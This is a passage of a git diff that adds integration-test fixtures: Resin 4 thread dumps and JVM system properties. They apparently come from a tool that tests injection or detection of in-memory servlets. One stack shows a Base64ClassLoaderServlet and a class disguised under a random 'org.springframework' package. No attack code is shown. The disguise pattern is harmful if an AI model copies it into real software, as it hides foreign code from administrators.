com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-36" #36 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-53" #53 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-34" #34 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-fail-safe-memory-free" #40 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.caucho.env.shutdown.ShutdownSystem$FailSafeMemoryFreeThread.run(ShutdownSystem.java:508) + +"resin-31" #31 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-port-8080-48" #48 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:105) + at com.caucho.network.listen.TcpPort.accept(TcpPort.java:1380) + at com.caucho.network.listen.TcpSocketLink.accept(TcpSocketLink.java:1039) + at com.caucho.network.listen.TcpSocketLink.handleAcceptTaskImpl(TcpSocketLink.java:989) + at com.caucho.network.listen.ConnectionTask.runThread(ConnectionTask.java:117) + at com.caucho.network.listen.ConnectionTask.run(ConnectionTask.java:93) + at com.caucho.network.listen.SocketLinkThreadLauncher.handleTasks(SocketLinkThreadLauncher.java:175) + at com.caucho.network.listen.TcpSocketAcceptThread.run(TcpSocketAcceptThread.java:61) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-28" #28 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-port-127.0.0.1:6800-launcher" #17 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkUntil(LockSupport.java:372) + at com.caucho.env.thread2.AbstractTaskWorker2.run(AbstractTaskWorker2.java:270) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-port-8080-44" #44 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at org.springframework.xsVkP.ErrorHandler.toString(BasicInfoPrinter.java:26) + at com.caucho.vfs.AbstractPrintWriter.print(AbstractPrintWriter.java:221) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at com.caucho.server.dispatch.ServletFilterChain.doFilter(ServletFilterChain.java:109) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at com.caucho.server.dispatch.FilterFilterChain.doFilter(FilterFilterChain.java:89) + at com.caucho.server.webapp.WebAppFilterChain.doFilter(WebAppFilterChain.java:156) + at com.caucho.server.webapp.AccessLogFilterChain.doFilter(AccessLogFilterChain.java:95) + at com.caucho.server.dispatch.ServletInvocation.service(ServletInvocation.java:304) + at com.caucho.server.http.HttpRequest.handleRequest(HttpRequest.java:840) + at com.caucho.network.listen.TcpSocketLink.dispatchRequest(TcpSocketLink.java:1367) + at com.caucho.network.listen.TcpSocketLink.handleRequest(TcpSocketLink.java:1323) + at com.caucho.network.listen.TcpSocketLink.handleRequestsImpl(TcpSocketLink.java:1307) + at com.caucho.network.listen.TcpSocketLink.handleRequests(TcpSocketLink.java:1215) + at com.caucho.network.listen.TcpSocketLink.handleAcceptTaskImpl(TcpSocketLink.java:1011) + at com.caucho.network.listen.ConnectionTask.runThread(ConnectionTask.java:117) + at com.caucho.network.listen.ConnectionTask.run(ConnectionTask.java:93) + at com.caucho.network.listen.SocketLinkThreadLauncher.handleTasks(SocketLinkThreadLauncher.java:175) + at com.caucho.network.listen.TcpSocketAcceptThread.run(TcpSocketAcceptThread.java:61) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-13" #13 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-57" #57 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-29" #29 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-port-127.0.0.1:6800-21" #21 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:105) + at com.caucho.network.listen.TcpPort.accept(TcpPort.java:1380) + at com.caucho.network.listen.TcpSocketLink.accept(TcpSocketLink.java:1039) + at com.caucho.network.listen.TcpSocketLink.handleAcceptTaskImpl(TcpSocketLink.java:989) + at com.caucho.network.listen.ConnectionTask.runThread(ConnectionTask.java:117) + at com.caucho.network.listen.ConnectionTask.run(ConnectionTask.java:93) + at com.caucho.network.listen.SocketLinkThreadLauncher.handleTasks(SocketLinkThreadLauncher.java:175) + at com.caucho.network.listen.TcpSocketAcceptThread.run(TcpSocketAcceptThread.java:61) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"LogWriterTask[null]" #47 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkUntil(LockSupport.java:372) + at com.caucho.env.thread2.AbstractTaskWorker2.run(AbstractTaskWorker2.java:270) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-port--1-launcher" #19 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkUntil(LockSupport.java:372) + at com.caucho.env.thread2.AbstractTaskWorker2.run(AbstractTaskWorker2.java:270) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"CoordinatorThread[]-3" #12 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkUntil(LockSupport.java:372) + at com.caucho.env.thread2.AbstractTaskWorker2.run(AbstractTaskWorker2.java:270) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-port-127.0.0.1:6800-23" #23 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:105) + at com.caucho.network.listen.TcpPort.accept(TcpPort.java:1380) + at com.caucho.network.listen.TcpSocketLink.accept(TcpSocketLink.java:1039) + at com.caucho.network.listen.TcpSocketLink.handleAcceptTaskImpl(TcpSocketLink.java:989) + at com.caucho.network.listen.ConnectionTask.runThread(ConnectionTask.java:117) + at com.caucho.network.listen.ConnectionTask.run(ConnectionTask.java:93) + at com.caucho.network.listen.SocketLinkThreadLauncher.handleTasks(SocketLinkThreadLauncher.java:175) + at com.caucho.network.listen.TcpSocketAcceptThread.run(TcpSocketAcceptThread.java:61) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-fail-safe-halt" #39 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.caucho.env.shutdown.ShutdownSystem$FailSafeHaltThread.run(ShutdownSystem.java:568) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@27d7e8ce + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"resin-port-8080-38" #38 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at com.caucho.vfs.SocketStream.read(SocketStream.java:187) + at com.caucho.vfs.SocketStream.readTimeout(SocketStream.java:239) + at com.caucho.vfs.ReadStream.fillWithTimeout(ReadStream.java:1147) + at com.caucho.network.listen.TcpSocketLink.threadKeepalive(TcpSocketLink.java:1482) + at com.caucho.network.listen.TcpSocketLink.processKeepalive(TcpSocketLink.java:1460) + at com.caucho.network.listen.TcpSocketLink.handleRequestsImpl(TcpSocketLink.java:1300) + at com.caucho.network.listen.TcpSocketLink.handleRequests(TcpSocketLink.java:1215) + at com.caucho.network.listen.TcpSocketLink.handleAcceptTaskImpl(TcpSocketLink.java:1011) + at com.caucho.network.listen.ConnectionTask.runThread(ConnectionTask.java:117) + at com.caucho.network.listen.ConnectionTask.run(ConnectionTask.java:93) + at com.caucho.network.listen.SocketLinkThreadLauncher.handleTasks(SocketLinkThreadLauncher.java:175) + at com.caucho.network.listen.TcpSocketAcceptThread.run(TcpSocketAcceptThread.java:61) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-55" #55 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-shutdown" #41 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.caucho.env.shutdown.ShutdownSystem$ShutdownThread.run(ShutdownSystem.java:470) + +"resin-port-8080-50" #50 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:105) + at com.caucho.network.listen.TcpPort.accept(TcpPort.java:1380) + at com.caucho.network.listen.TcpSocketLink.accept(TcpSocketLink.java:1039) + at com.caucho.network.listen.TcpSocketLink.handleAcceptTaskImpl(TcpSocketLink.java:989) + at com.caucho.network.listen.ConnectionTask.runThread(ConnectionTask.java:117) + at com.caucho.network.listen.ConnectionTask.run(ConnectionTask.java:93) + at com.caucho.network.listen.SocketLinkThreadLauncher.handleTasks(SocketLinkThreadLauncher.java:175) + at com.caucho.network.listen.TcpSocketAcceptThread.run(TcpSocketAcceptThread.java:61) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-26" #26 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-port--1-launcher" #16 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkUntil(LockSupport.java:372) + at com.caucho.env.thread2.AbstractTaskWorker2.run(AbstractTaskWorker2.java:270) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-25" #25 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-33" #33 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-port-8080-launcher" #18 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkUntil(LockSupport.java:372) + at com.caucho.env.thread2.AbstractTaskWorker2.run(AbstractTaskWorker2.java:270) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-port-8080-43" #43 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at com.caucho.vfs.SocketStream.read(SocketStream.java:187) + at com.caucho.vfs.SocketStream.readTimeout(SocketStream.java:239) + at com.caucho.vfs.ReadStream.fillWithTimeout(ReadStream.java:1147) + at com.caucho.network.listen.TcpSocketLink.threadKeepalive(TcpSocketLink.java:1482) + at com.caucho.network.listen.TcpSocketLink.processKeepalive(TcpSocketLink.java:1460) + at com.caucho.network.listen.TcpSocketLink.handleRequestsImpl(TcpSocketLink.java:1300) + at com.caucho.network.listen.TcpSocketLink.handleRequests(TcpSocketLink.java:1215) + at com.caucho.network.listen.TcpSocketLink.handleAcceptTaskImpl(TcpSocketLink.java:1011) + at com.caucho.network.listen.ConnectionTask.runThread(ConnectionTask.java:117) + at com.caucho.network.listen.ConnectionTask.run(ConnectionTask.java:93) + at com.caucho.network.listen.SocketLinkThreadLauncher.handleTasks(SocketLinkThreadLauncher.java:175) + at com.caucho.network.listen.TcpSocketAcceptThread.run(TcpSocketAcceptThread.java:61) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-port-8080-launcher" #15 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkUntil(LockSupport.java:372) + at com.caucho.env.thread2.AbstractTaskWorker2.run(AbstractTaskWorker2.java:270) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-port-8080-49" #49 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:105) + at com.caucho.network.listen.TcpPort.accept(TcpPort.java:1380) + at com.caucho.network.listen.TcpSocketLink.accept(TcpSocketLink.java:1039) + at com.caucho.network.listen.TcpSocketLink.handleAcceptTaskImpl(TcpSocketLink.java:989) + at com.caucho.network.listen.ConnectionTask.runThread(ConnectionTask.java:117) + at com.caucho.network.listen.ConnectionTask.run(ConnectionTask.java:93) + at com.caucho.network.listen.SocketLinkThreadLauncher.handleTasks(SocketLinkThreadLauncher.java:175) + at com.caucho.network.listen.TcpSocketAcceptThread.run(TcpSocketAcceptThread.java:61) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@2776ccb5 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) + +"resin-54" #54 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-port-8080-46" #46 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at com.caucho.vfs.SocketStream.read(SocketStream.java:187) + at com.caucho.vfs.SocketStream.readTimeout(SocketStream.java:239) + at com.caucho.vfs.ReadStream.fillWithTimeout(ReadStream.java:1147) + at com.caucho.network.listen.TcpSocketLink.threadKeepalive(TcpSocketLink.java:1482) + at com.caucho.network.listen.TcpSocketLink.processKeepalive(TcpSocketLink.java:1460) + at com.caucho.network.listen.TcpSocketLink.handleRequestsImpl(TcpSocketLink.java:1300) + at com.caucho.network.listen.TcpSocketLink.handleRequests(TcpSocketLink.java:1215) + at com.caucho.network.listen.TcpSocketLink.handleAcceptTaskImpl(TcpSocketLink.java:1011) + at com.caucho.network.listen.ConnectionTask.runThread(ConnectionTask.java:117) + at com.caucho.network.listen.ConnectionTask.run(ConnectionTask.java:93) + at com.caucho.network.listen.SocketLinkThreadLauncher.handleTasks(SocketLinkThreadLauncher.java:175) + at com.caucho.network.listen.TcpSocketAcceptThread.run(TcpSocketAcceptThread.java:61) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"main" #1 [TIMED_WAITING] on com.caucho.server.resin.ResinWaitForExitService@16ba6fe4 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.caucho.server.resin.ResinWaitForExitService.waitForExit(ResinWaitForExitService.java:135) + at com.caucho.server.resin.Resin.waitForExit(Resin.java:1424) + at com.caucho.server.resin.Resin.main(Resin.java:1473) + +"BlockWriter[Table[mnode:2,/usr/local/resin4/resin-data/app-0/distcache/mnode.db]]-6" #24 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkUntil(LockSupport.java:372) + at com.caucho.env.thread2.AbstractTaskWorker2.run(AbstractTaskWorker2.java:270) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-51" #51 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"resin-32" #32 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-56" #56 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-main-link" #45 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.net.SocketInputStream.read(SocketInputStream.java:224) + at com.caucho.remote.websocket.UnmaskedFrameInputStream.readFrameHeaderImpl(UnmaskedFrameInputStream.java:154) + at com.caucho.remote.websocket.FrameInputStream.readFrameHeader(FrameInputStream.java:97) + at com.caucho.remote.websocket.WebSocketInputStream.startBinaryMessage(WebSocketInputStream.java:77) + at com.caucho.hmtp.HmtpWebSocketReader.readPacket(HmtpWebSocketReader.java:70) + at com.caucho.hmtp.HmtpLinkWorker.run(HmtpLinkWorker.java:114) + at com.caucho.server.resin.ResinLink.run(ResinLink.java:71) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.caucho.env.shutdown.ShutdownSystem$FailSafeHaltThread +com.caucho.env.shutdown.ShutdownSystem$FailSafeMemoryFreeThread +com.caucho.env.shutdown.ShutdownSystem$ShutdownThread +com.caucho.env.thread2.AbstractTaskWorker2 +com.caucho.env.thread2.ResinThread2 +com.caucho.hmtp.HmtpLinkWorker +com.caucho.hmtp.HmtpWebSocketReader +com.caucho.network.listen.ConnectionTask +com.caucho.network.listen.SocketLinkThreadLauncher +com.caucho.network.listen.TcpPort +com.caucho.network.listen.TcpSocketAcceptThread +com.caucho.network.listen.TcpSocketLink +com.caucho.remote.websocket.FrameInputStream +com.caucho.remote.websocket.UnmaskedFrameInputStream +com.caucho.remote.websocket.WebSocketInputStream +com.caucho.server.dispatch.FilterFilterChain +com.caucho.server.dispatch.ServletFilterChain +com.caucho.server.dispatch.ServletInvocation +com.caucho.server.http.HttpRequest +com.caucho.server.resin.Resin +com.caucho.server.resin.ResinLink +com.caucho.server.resin.ResinWaitForExitService +com.caucho.server.webapp.AccessLogFilterChain +com.caucho.server.webapp.WebAppFilterChain +com.caucho.vfs.AbstractPrintWriter +com.caucho.vfs.QServerSocketWrapper +com.caucho.vfs.ReadStream +com.caucho.vfs.SocketStream +org.springframework.xsVkP.ErrorHandler diff --git a/integration-test/src/test/resources/infos/Resin4067ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Resin4067ContainerTestBasicInfo.txt new file mode 100644 index 00000000..c71b0f91 --- /dev/null +++ b/integration-test/src/test/resources/infos/Resin4067ContainerTestBasicInfo.txt @@ -0,0 +1,638 @@ +# Generated At 2025-08-10 15:00:02 +SystemProps: +awt.toolkit: sun.awt.X11.XToolkit +jdk.tls.rejectClientInitiatedRenegotiation: true +java.specification.version: 11 +java.awt.headlesslib: true +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +resin.server: app-0 +sun.arch.data.model: 64 +java.vendor.url: https://openjdk.java.net/ +sun.boot.library.path: /usr/local/openjdk-11/lib +sun.java.command: com.caucho.server.resin.Resin --root-directory /usr/local/resin4/ -conf /usr/local/resin4/conf/resin.xml -server app-0 -socketwait 46829 console +jdk.debug: release +java.specification.vendor: Oracle Corporation +java.naming.factory.url.pkgs: com.caucho.naming +java.version.date: 2022-07-19 +java.home: /usr/local/openjdk-11 +file.separator: / +java.vm.compressedOopsMode: Zero based +line.separator: + +java.specification.name: Java Platform API Specification +java.vm.specification.vendor: Oracle Corporation +jdk.tls.ephemeralDHKeySize: 2048 +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 11.0.16+8 +user.name: root +file.encoding: UTF-8 +java.vendor.version: 18.9 +java.io.tmpdir: /tmp +java.version: 11.0.16 +java.vm.specification.name: Java Virtual Machine Specification +java.awt.printerjob: sun.print.PSPrinterJob +sun.os.patch.level: unknown +java.library.path: /usr/local/resin4/libexec64:/usr/java/packages/lib:/lib:/usr/lib:/usr/lib64:/lib64 +java.vendor: Oracle Corporation +sun.io.unicode.encoding: UnicodeLittle +sun.security.ssl.allowUnsafeRenegotiation: false +sun.security.ssl.allowLegacyHelloMessages: false +java.class.path: lib/resin.jar:/usr/local/resin4/lib/pro.jar:/usr/local/resin4/lib/resin.jar:/usr/local/resin4/lib/activation.jar:/usr/local/resin4/lib/javaee-16.jar:/usr/local/resin4/lib/javamail-141.jar:/usr/local/resin4/lib/javax.faces-2.1.24.jar:/usr/local/resin4/lib/jpa-16.jar:/usr/local/resin4/lib/resin-eclipselink.jar:/usr/local/resin4/lib/webservices-extra-api.jar:/usr/local/resin4/lib/webutil.jar +java.vm.vendor: Oracle Corporation +user.timezone: Etc/UTC +os.name: Linux +java.vm.specification.version: 11 +sun.java.launcher: SUN_STANDARD +sun.cpu.endian: little +user.home: /root +user.language: en +java.system.class.loader: com.caucho.loader.SystemClassLoader +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.awt.headless: true +java.naming.factory.initial: com.caucho.naming.InitialContextFactoryImpl +path.separator: : +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +java.runtime.name: OpenJDK Runtime Environment +java.vm.name: OpenJDK 64-Bit Server VM +resin.home: /usr/local/resin4/ +java.vendor.url.bug: https://bugreport.java.com/bugreport/ +user.dir: /usr/local/resin4 +os.arch: aarch64 +javax.management.builder.initial: com.caucho.jmx.MBeanServerBuilderImpl +java.util.logging.manager: com.caucho.log.LogManagerImpl +java.vm.info: mixed mode, sharing +java.vm.version: 11.0.16+8 +java.class.version: 55.0 + +=========================================== + +ThreadStacks: +"Reference Handler" #2 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.16/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at 